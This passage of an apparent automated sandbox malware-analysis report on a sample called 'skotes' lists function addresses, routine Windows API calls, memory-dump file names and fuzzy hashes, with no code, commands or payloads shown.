                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 36f2853b00152e3e18b01177647cd4fb1465d650fc247e07f29b36d6ac0216a7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 12D08C307C0714F6F23103602C0BF26AE209B0EF90F26884073883F0D082E8300047E8
                                                                                                                                                                                                                                                                                    Function 00158380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00158524
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: InfoNativeSystem
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1721193555-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 34bc40b26cdea6f62aef46374a228e607c9c32968bdcdd9d68bb84342cb8b83e
                                                                                                                                                                                                                                                                                    • Instruction ID: 63c32a23df6488b3e7ca09d5fa56040d66c03ca04698c4d7654be96a3292ba38
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 34bc40b26cdea6f62aef46374a228e607c9c32968bdcdd9d68bb84342cb8b83e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 30514870D10248DBDB24EB68CD457EEB775EB45315F504298EC24BB2C1EF349E888B91
                                                                                                                                                                                                                                                                                    Function 00187124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0018705B,?,?,00000000,00000000), ref: 00187166
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Time$LocalSpecificSystem
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2574697306-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4b2b021f1ad69c553068db63abf5603ef7a5d12b4e8bf1ab36894c783e090836
                                                                                                                                                                                                                                                                                    • Instruction ID: 842ccefac3211c75d5af6d2913d4b022b8b7d0d4f47071bd8c55c9d822b288be
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4b2b021f1ad69c553068db63abf5603ef7a5d12b4e8bf1ab36894c783e090836
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5311FA7290410DABDB10EE95C985EDFB7BDAF08310F615266E915E2180EB30EB49DBA1
                                                                                                                                                                                                                                                                                    Function 0018AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: __wsopen_s
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3347428461-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e50bd8e066db402e982050815ea1a54f79f3d625bc73b85f8b6614996d342ca3
                                                                                                                                                                                                                                                                                    • Instruction ID: 8b8d9d09c791405f0a19b4322ee44976172190ebbc6df798361b198a339be215
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e50bd8e066db402e982050815ea1a54f79f3d625bc73b85f8b6614996d342ca3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69111575A0420AAFCF05DF58E94199A7BF9EF48304F04406AF809AB251D730EE21CBA5
                                                                                                                                                                                                                                                                                    Function 0018B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000000,3251C7AA,?,?,0016D3FC,3251C7AA,?,00167A8B,?,?,?,?,?,?,00157465,?), ref: 0018B07E
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
